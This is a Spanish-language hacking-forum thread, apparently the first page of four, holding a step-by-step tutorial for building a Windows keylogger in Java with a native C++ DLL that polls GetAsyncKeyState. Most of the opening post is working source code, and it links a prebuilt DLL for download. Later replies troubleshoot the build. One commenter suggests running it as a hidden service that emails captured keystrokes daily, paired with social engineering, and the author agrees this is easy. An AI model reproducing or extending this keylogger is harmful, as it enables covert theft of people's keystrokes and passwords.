elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  [Tutorial] Keylogger en Java (JNI)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: [Tutorial] Keylogger en Java (JNI)  (Leído 47,215 veces)
Leyer


Desconectado Desconectado

Mensajes: 786


leyer@elhacker.net


Ver Perfil WWW
[Tutorial] Keylogger en Java (JNI)
« en: 24 Noviembre 2009, 02:27 am »

Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"

  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código
  1. public class Keylogger extends Thread {
  2. private boolean   running=true;
  3. private int       value =0;
  4. private native int get();
  5. static {
  6. System.loadLibrary("Keylogger");
  7. /**
  8. * Carga de la DLL
  9. */
  10. }
  11. @Override
  12. public synchronized void run(){
  13. while(running){
  14. value = get();
  15. /**
  16. * Optenemos la Tecla Precionada
  17. */
  18. System.out.println((char)value);
  19. /**
  20. * La Mostramos en la Salida Estandar
  21. */
  22. }
  23. }
  24.  
  25. }
  26.  

  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código
  1. @echo off
  2. title Java
  3. set/p j= .java :
  4. echo.
  5. call javac %j%.java
  6. call javah -jni %j%
  7.  
  8. pause
  9. echo.
  10. exit

  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

Código
  1. /* DO NOT EDIT THIS FILE - it is machine generated */
  2. #include <jni.h>/* Header for class Keylogger */
  3. #ifndef _Included_Keylogger
  4. #define _Included_Keylogger
  5. #ifdef __cplusplus
  6. extern "C" {
  7.    #endif
  8.    #undef Keylogger_MIN_PRIORITY
  9.    #define Keylogger_MIN_PRIORITY 1L
  10.    #undef Keylogger_NORM_PRIORITY
  11.    #define Keylogger_NORM_PRIORITY 5L
  12.    #undef Keylogger_MAX_PRIORITY
  13.    #define Keylogger_MAX_PRIORITY 10L
  14.    #undef Keylogger_DELAY
  15.    #define Keylogger_DELAY 20L
  16.    /** Class: Keylogger
  17.      * Method:    get
  18.      * Signature: ()I
  19.      */
  20.  
  21.    JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
  22.    #ifdef __cplusplus
  23.    }
  24.    #endif
  25.    #endif
  26.  
    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <jni.h>
  5. #include "Keylogger.h"
  6. JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
  7.  while(true){
  8.        for(int c=8;c<=222;c++){
  9.         if(GetAsyncKeyState(c)==-32767)
  10.            return c;  
  11.        }        
  12.     Sleep(30);  
  13.     }
  14. }
  15.  

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código
  1. public class Main {
  2. public static void main(String[] args) {
  3. new Keylogger().start();
  4. }
  5. }

Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.


« Última modificación: 4 Octubre 2010, 01:38 am por LEYER » En línea

Blitzkrieg'


Desconectado Desconectado

Mensajes: 546


print('Hi there')


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #1 en: 24 Noviembre 2009, 02:39 am »

Muy bueno el tutorial  ;D


En línea



Leyer


Desconectado Desconectado

Mensajes: 786


leyer@elhacker.net


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #2 en: 24 Noviembre 2009, 04:17 am »

 :) gracias Crapsalot

Saludos
« Última modificación: 29 Septiembre 2010, 05:22 am por LEYER » En línea

cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #3 en: 26 Marzo 2010, 15:12 pm »

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)
En línea

cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #4 en: 26 Marzo 2010, 15:47 pm »

estuve siguiendo tus pasos, y tuve problemas en el DevCpp  , cuando intento compilar para generar el DLL  no encuentra el jni.h     como hago para solucionar eso ???

En línea

cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #5 en: 26 Marzo 2010, 16:01 pm »

ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano

En línea

Leyer


Desconectado Desconectado

Mensajes: 786


leyer@elhacker.net


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #6 en: 26 Marzo 2010, 20:06 pm »

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

Eso lo pense cuando lo estaba haciendo jaja de enviar al email pero eso algo simple de hacer ademas esa esta es la base, cada quien vera que es lo que quiere hacer ;)

-------------------------
Y por que no Use JNA, simple no domino Jna  :P, solamente he hecho una consola para linux en JNA y es mucho :xD

 -------------------------


ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano




Tienes que especificas mas, y en que paso te has quedado
 
En línea

sapito169


Desconectado Desconectado

Mensajes: 628



Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #7 en: 29 Marzo 2010, 16:42 pm »

no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD
« Última modificación: 29 Marzo 2010, 16:48 pm por sapito169 » En línea

egyware


Desconectado Desconectado

Mensajes: 526



Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #8 en: 29 Marzo 2010, 17:11 pm »

Y dale programando con DevCpp programa con Codeblocks
usar DevCpp es como usar el primer IE
bueno en fin
Buen tutorial men ;)
En línea

Leyer


Desconectado Desconectado

Mensajes: 786


leyer@elhacker.net


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #9 en: 29 Marzo 2010, 20:43 pm »

He seguido este tutorial y no consigo saber como se hace el paso 2. Yo lo he intentado hacer de una manera lo más parecido posible:
1- Con el netbeans 6.8 he creado un nuevo proyecto y he compilado la clase keylogger.
2- En el segundo paso, como no sabía como se hacia, he copiado los archivos Keylogger.java y Keylogger.class (generados por el netbeans) a una carpeta vacia y en la consola de windows he puesto el siguiente comando: "javah Keylogger" para generar el archivo de cabecera "Keylogger.h".
3- Ese archivo de cabecera lo he renombrado a keylog.h, lo he copiado a la misma carpeta donde se generan los archivos del c++ y lo he importado al keylogger.cpp (sustituyendo el dll.h como se indica en el tutorial). He copiado el codigo del paso 4 tal cual viene y he compilado.
4- Una vez generado el archivo keylogger.dll, he copiado este archivo a las carpetas /src y /build/classes (donde están los archivos .java y .class respectivamente). Luego he creado una clase Main con su metodo main para ejecutar el keylogger.

He seguido esos pasos pero me da error al ejecutar el codigo java:
Exception in thread "main" java.lang.UnsatisfiedLinkError: no Keylogger in java.library.path
        at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1734)
        at java.lang.Runtime.loadLibrary0(Runtime.java:823)
        at java.lang.System.loadLibrary(System.java:1028)
        at Keylogger.<clinit>(Keylogger.java:6)
        at Main.main(Main.java:7)
Java Result: 1

Me da error en la siguiente linea:
System.loadLibrary ("Keylogger");  //Preparamos la carga de la DLL

He probado a renombrar "Keylogger" por "keylogger" y "keylogger.dll" pero me da el mismo error todo el rato. ¿Alguno sabe por qué puede ser?

1. La libreria tiene que estar fuera del src y bin, y asegurate de que el .java no este en ningun package
2. No se por que le da errores creo que mas facil explicado imposible :( yo le he probado cientos de veces y no tengo problemas con nada  :xD



no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD

Cierto hay problemas con algunas img, lo solucionare a penas instale vbox :xD

PD: egyware creo que tenemos que teminar lo que tenemos pendiente :¬¬ :xD
« Última modificación: 29 Marzo 2010, 21:22 pm por LEYER » En línea

Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Programar un keylogger en Java
Java
NeoXhk 9 23,348 Último mensaje 11 Noviembre 2009, 00:32 am
por Leyer
Video Tutorial Cracking Perfect Keylogger ultima version
Ingeniería Inversa
nab0s 1 3,699 Último mensaje 4 Julio 2008, 00:13 am
por Shaddy
[TuToRiaL] POO desde 0 en java y C++
Programación General
Dem0ny 5 6,865 Último mensaje 5 Julio 2011, 09:49 am
por darkhermitt
[Tutorial] Twitter + Java
Java
Blitzkrieg' 7 8,770 Último mensaje 4 Julio 2010, 23:43 pm
por Amerikano|Cls
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines